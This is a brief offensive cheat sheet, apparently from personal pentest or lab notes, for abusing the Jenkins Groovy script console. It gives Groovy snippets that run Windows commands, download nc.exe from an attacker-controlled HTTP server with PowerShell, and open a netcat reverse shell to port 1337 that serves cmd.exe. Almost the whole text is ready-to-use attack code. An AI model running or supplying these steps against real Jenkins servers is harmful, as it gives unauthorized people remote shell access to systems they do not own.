x

Groovy

Part of the Jenkins web server, if you have full access to it then you can attempt to use the script console for access.

Confirm basic access

def cmd = "cmd.exe /c dir".execute();  
println("${cmd.text}");

Attempt to grab nc from your http server

def process = "powershell -command Invoke-WebRequest '[http://10.10.14.5/nc.exe'](http://10.10.14.5/nc.exe') -OutFile nc.exe".execute();  
println("${process.text}");

Check it's written in

def process = "powershell -command dir".execute();  
println("${process.text}");

Reverse shell command

def process = "powershell -command ./nc.exe 10.10.14.5 1337 -e cmd.exe".execute(); //CHANGE IP PLS  
println("${process.text}");
Left-click: follow link, Right-click: select node, Scroll: zoom
x